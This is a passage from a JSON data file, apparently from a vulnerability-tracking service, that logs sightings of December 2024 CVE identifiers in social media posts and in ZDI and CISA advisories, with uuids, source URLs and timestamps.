"ce072bbe-af62-4d3d-bf1a-fb76b800d9f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12026", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113609125984523478", "content": "", "creation_timestamp": "2024-12-07T02:14:49.655360Z"}, {"uuid": "1057e2a9-1753-47ab-b0ce-ac874492a9f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12057", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113624457107037209", "content": "", "creation_timestamp": "2024-12-09T19:13:44.998356Z"}, {"uuid": "571a8d9a-b11d-4f99-8bc0-2d394ebc527e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12369", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113624852492732843", "content": "", "creation_timestamp": "2024-12-09T20:54:16.963597Z"}, {"uuid": "b8d8ab14-020a-4680-9095-405a25ae4f08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12393", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113625459353504569", "content": "", "creation_timestamp": "2024-12-09T23:28:36.860563Z"}, {"uuid": "5a65816b-6adc-4439-b662-78a94afffe5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12323", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113629016269414104", "content": "", "creation_timestamp": "2024-12-10T14:33:11.559486Z"}, {"uuid": "e911dbaa-e255-49d1-95e2-3998b3bfb39c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12236", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113629164313708186", "content": "", "creation_timestamp": "2024-12-10T15:10:50.118738Z"}, {"uuid": "f41d154c-970a-4daf-8324-eb0bce10b9c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12286", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113629773421070243", "content": "", "creation_timestamp": "2024-12-10T17:46:41.745239Z"}, {"uuid": "53b0d8f7-a62f-4011-82b2-cec6f2bea6fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/113679807953214433", "content": "", "creation_timestamp": "2024-12-19T13:50:10.585079Z"}, {"uuid": "e54e13b0-9a3c-4036-bc44-d91165511b76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12785", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldo62kkzbz2s", "content": "", "creation_timestamp": "2024-12-19T15:15:45.021218Z"}, {"uuid": "742adbc1-845c-4d0d-bf49-f19b96d0b704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12789", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoeqvyicw27", "content": "", "creation_timestamp": "2024-12-19T17:15:37.581359Z"}, {"uuid": "74e084e7-dd94-47f1-b2fb-966efe7e5cfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12790", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoeqygnvm2z", "content": "", "creation_timestamp": "2024-12-19T17:15:40.520236Z"}, {"uuid": "452f1153-7c7a-4f73-a9e8-9d477ebb35be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113680863936409244", "content": "", "creation_timestamp": "2024-12-19T18:18:44.046684Z"}, {"uuid": "4b606977-6a61-4a88-a2a8-42a8f047e3c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12111", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoosd5my22v", "content": "", "creation_timestamp": "2024-12-19T20:15:22.705690Z"}, {"uuid": "3d6a8ba5-3097-4c55-8a64-f454abce5c83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3ldq2gmagbk2x", "content": "", "creation_timestamp": "2024-12-20T09:16:14.317322Z"}, {"uuid": "dfdf0aea-7f13-4177-8342-5f76ec6aa285", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12846", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lds5h6jcmv2z", "content": "", "creation_timestamp": "2024-12-21T05:15:34.175306Z"}, {"uuid": "e452760c-6d23-4b6d-a36a-4fcfe477281c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113675719318388901", "content": "", "creation_timestamp": "2024-12-18T20:30:23.957933Z"}, {"uuid": "5a795f32-e36f-434f-a9ef-bfdbcbce8436", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3ldnjxkvcza2x", "content": "", "creation_timestamp": "2024-12-19T09:16:10.892707Z"}, {"uuid": "a7bbf909-22e1-4f17-8908-cc06a97d5d5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3ldnzbpuvyk2g", "content": "", "creation_timestamp": "2024-12-19T13:50:18.399575Z"}, {"uuid": "bffec56e-5a41-4374-b027-6dfc32530a23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12798", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680144577181941", "content": "", "creation_timestamp": "2024-12-19T15:15:47.215387Z"}, {"uuid": "822c5bd8-c089-479f-92fa-dbe896f52087", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12788", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoeqtu5bb2g", "content": "", "creation_timestamp": "2024-12-19T17:15:35.450268Z"}, {"uuid": "3c5322c5-09dd-497d-8225-48457817a951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12801", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoer3462z2g", "content": "", "creation_timestamp": "2024-12-19T17:15:42.801299Z"}, {"uuid": "ebc876e8-80c6-4127-8dd1-d96ec8711d85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12831", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1720/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "5ddc37cd-2806-426d-9a6d-8485a573e87e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12830", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1718/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "4dd343cf-685e-4a1a-a45e-29b0d99ee6e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12175", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1714/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "f52da292-67d7-4104-b728-e45e984d18f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12700", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1712/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "e32c5c2b-1967-4b6d-9cee-8b3240a6eb18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/innovirtuoso.bsky.social/post/3ldq2tyrox22h", "content": "", "creation_timestamp": "2024-12-20T09:23:44.115176Z"}, {"uuid": "c56f9faf-1f40-46b8-ac40-f2e3b6067e9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12014", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113685288004309720", "content": "", "creation_timestamp": "2024-12-20T13:03:49.692516Z"}, {"uuid": "72e32105-0bf2-4140-b37e-d30ac7121ecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/113675746677327052", "content": "", "creation_timestamp": "2024-12-18T20:37:20.449080Z"}, {"uuid": "5662c01e-767f-4c71-bcfc-08ea2da45d4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12569", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldnjyhdq7t2b", "content": "", "creation_timestamp": "2024-12-19T09:16:39.503364Z"}, {"uuid": "6af40375-e97d-4b7a-8c05-515dcace8b01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3ldojp4iy5p2g", "content": "", "creation_timestamp": "2024-12-19T18:44:05.882386Z"}, {"uuid": "17f7cf47-7440-4bba-a3b5-7d4b51d7420b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12832", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1719/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "c17b74d7-d338-49d5-8736-ff8e0bdbe0be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12506", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldptphdjvv2m", "content": "", "creation_timestamp": "2024-12-20T07:15:54.282986Z"}, {"uuid": "19e421ee-475a-48c4-a021-475799825278", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12014", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldqhsl6bfh2a", "content": "", "creation_timestamp": "2024-12-20T13:15:34.237625Z"}, {"uuid": "aced7c52-4970-45f7-91a0-dc31bf93facd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/allthebuzz.bsky.social/post/3ldqv5c366c2q", "content": "", "creation_timestamp": "2024-12-20T17:14:13.548599Z"}, {"uuid": "88cc684b-9ea0-4577-ba8b-96419bff6ac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/allthebuzz.bsky.social/post/3ldqv5c366c2q", "content": "", "creation_timestamp": "2024-12-20T17:14:13.620589Z"}, {"uuid": "e47cf2f1-264e-4c9f-968f-6d7ed1591c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12845", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldrfyrf7zy2o", "content": "", "creation_timestamp": "2024-12-20T22:15:54.777090Z"}, {"uuid": "00b75d09-e753-40d8-a0c2-f1e9a43eef18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12635", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldse634wtf25", "content": "", "creation_timestamp": "2024-12-21T07:15:44.164570Z"}, {"uuid": "9a57482f-9ede-4c67-8394-a753ced66db1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12771", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldse6f7fhc2m", "content": "", "creation_timestamp": "2024-12-21T07:15:54.847648Z"}, {"uuid": "d9c0836b-4ab6-4f4e-8fd4-5f2af78ab163", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12558", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldso7dstzc2k", "content": "", "creation_timestamp": "2024-12-21T10:15:24.480937Z"}, {"uuid": "93e10de0-d62f-4144-95f6-c52ebe7233ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/shadowstack.bsky.social/post/3ldtkihpum225", "content": "", "creation_timestamp": "2024-12-21T18:41:34.121820Z"}, {"uuid": "db7c593d-19f6-4990-969e-5d774c86545e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/shadowstack.bsky.social/post/3ldtkihpum225", "content": "", "creation_timestamp": "2024-12-21T18:41:34.159731Z"}, {"uuid": "f955b003-cb20-4572-a22e-83b7090a8ed0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://www.thezdi.com/blog/2024/12/10/the-december-2024-security-update-review", "content": "", "creation_timestamp": "2024-12-10T17:33:56.000000Z"}, {"uuid": "a9cf91b5-7eb4-4e86-823d-94557c836f76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12130", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-345-06", "content": "", "creation_timestamp": "2024-12-10T11:00:00.000000Z"}, {"uuid": "0fc687b6-34a9-4be7-a593-33808e1db0d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12212", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-345-05", "content": "", "creation_timestamp": "2024-12-10T11:00:00.000000Z"}, {"uuid": "84702bba-561f-418b-9800-acdc029177c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12286", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-345-01", "content": "", "creation_timestamp": "2024-12-10T11:00:00.000000Z"}, {"uuid": "22e61d49-7eb7-4bb4-8db5-75063e16b3bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113631019234576069", "content": "", "creation_timestamp": "2024-12-10T23:02:34.399341Z"}, {"uuid": "9b637eb2-deb2-45d0-b49f-7ff2e6235d36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113631019234576069", "content": "", "creation_timestamp": "2024-12-10T23:02:34.461049Z"}, {"uuid": "597b4b40-33b4-48f5-9983-9565a67cc55d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12130", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1651/", "content": "", "creation_timestamp": "2024-12-10T05:00:00.000000Z"}, {"uuid": "549820fe-9e18-4c6d-bb01-fd7b89228a3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12004", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113633372873751070", "content": "", "creation_timestamp": "2024-12-11T09:01:07.601456Z"}, {"uuid": "171e0afa-cca4-48d5-a85f-ecebe821f887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12283", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113633372888255698", "content": "", "creation_timestamp": "2024-12-11T09:01:07.946745Z"}, {"uuid": "b8069731-d2d4-4ef8-a582-e3d14336ea6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12363", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113633523015812139", "content": "", "creation_timestamp": "2024-12-11T09:39:18.786946Z"}, {"uuid": "28e6730e-94b5-4255-bff3-482611baf154", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12294", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113633848469166263", "content": "", "creation_timestamp": "2024-12-11T11:02:04.630421Z"}, {"uuid": "ae8b6cd7-8de0-4211-ab23-27bc7ab3ac83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12325", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113633947633055212", "content": "", "creation_timestamp": "2024-12-11T11:27:17.894279Z"}, {"uuid": "d3278863-2487-4b70-8f9b-f3eff8c13c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12292", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113635140492482846", "content": "", "creation_timestamp": "2024-12-11T16:30:39.747067Z"}, {"uuid": "b1a49b50-ec6f-43ea-8faa-1411d658493e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113635299660498681", "content": "", "creation_timestamp": "2024-12-11T17:11:08.525857Z"}, {"uuid": "527b88e1-8165-4e80-8200-cc3824d64e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113635482541901664", "content": "", "creation_timestamp": "2024-12-11T17:57:38.895989Z"}, {"uuid": "a71f5039-7c70-4baf-bc5b-209aea14cb0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113635482572610894", "content": "", "creation_timestamp": "2024-12-11T17:57:39.026465Z"}, {"uuid": "f2af3951-e889-4f5f-b64c-e75732af7f70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12479", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113635658899727553", "content": "", "creation_timestamp": "2024-12-11T18:42:29.719663Z"}, {"uuid": "586b1640-1b63-4cba-9fa3-fbe530da489f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113635802675057717", "content": "", "creation_timestamp": "2024-12-11T19:19:07.250083Z"}, {"uuid": "cf31f688-a1c5-41a6-afdc-059083775483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113635855731842345", "content": "", "creation_timestamp": "2024-12-11T19:32:32.986197Z"}, {"uuid": "aae510e2-8711-429a-a442-74fa6e47da8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12481", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113635868893854140", "content": "", "creation_timestamp": "2024-12-11T19:35:53.912390Z"}, {"uuid": "1e66eab1-4c93-4b81-ae35-653568408166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12482", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113635868908056139", "content": "", "creation_timestamp": "2024-12-11T19:35:54.138424Z"}, {"uuid": "2d0f6a4b-9718-42a7-b185-425e08d02015", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12483", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636004095729120", "content": "", "creation_timestamp": "2024-12-11T20:10:17.574801Z"}, {"uuid": "c55c3d72-eb2d-4edc-a9f2-f928709ca1e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12484", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636004110761751", "content": "", "creation_timestamp": "2024-12-11T20:10:17.637472Z"}, {"uuid": "b2666397-7180-4207-9359-3a9d6fe06189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12485", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636121231301243", "content": "", "creation_timestamp": "2024-12-11T20:40:04.458503Z"}, {"uuid": "f1ed6d47-5db7-47b9-993e-f969f4d32a57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12486", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636121248132427", "content": "", "creation_timestamp": "2024-12-11T20:40:05.039667Z"}, {"uuid": "326714b8-154c-4737-854e-8cc520f7f10b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12487", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636224935347181", "content": "", "creation_timestamp": "2024-12-11T21:06:27.621180Z"}, {"uuid": "f13a363a-835e-4754-9670-4c6484248552", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12488", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636333768821883", "content": "", "creation_timestamp": "2024-12-11T21:34:07.214567Z"}, {"uuid": "d34c05f9-7a58-4b4f-9d88-8ec272537331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12490", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636589321141271", "content": "", "creation_timestamp": "2024-12-11T22:39:06.730673Z"}, {"uuid": "a65ee16a-535e-4f85-87ba-d742891cffed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12536", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113637204182051809", "content": "", "creation_timestamp": "2024-12-12T01:15:29.013248Z"}, {"uuid": "cd921d58-bb98-4ba1-bb1c-ff9c3c6a9d2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12547", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1681/", "content": "", "creation_timestamp": "2024-12-11T05:00:00.000000Z"}, {"uuid": "a7420b0a-4e06-4fd0-9baf-322349335386", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12548", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1680/", "content": "", "creation_timestamp": "2024-12-11T05:00:00.000000Z"}, {"uuid": "c57fbcc1-dbe8-49e7-bae2-1fbb8aff90db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12549", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1679/", "content": "", "creation_timestamp": "2024-12-11T05:00:00.000000Z"}, {"uuid": "69c13424-e3d3-437d-a98e-e50df920dffd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12550", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1678/", "content": "", "creation_timestamp": "2024-12-11T05:00:00.000000Z"}, {"uuid": "7249e62a-6963-4b46-b7f9-379d16c63909", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12551", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1677/", "content": "", "creation_timestamp": "2024-12-11T05:00:00.000000Z"}, {"uuid": "711d5c32-1646-484d-9a3e-e8222920884d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 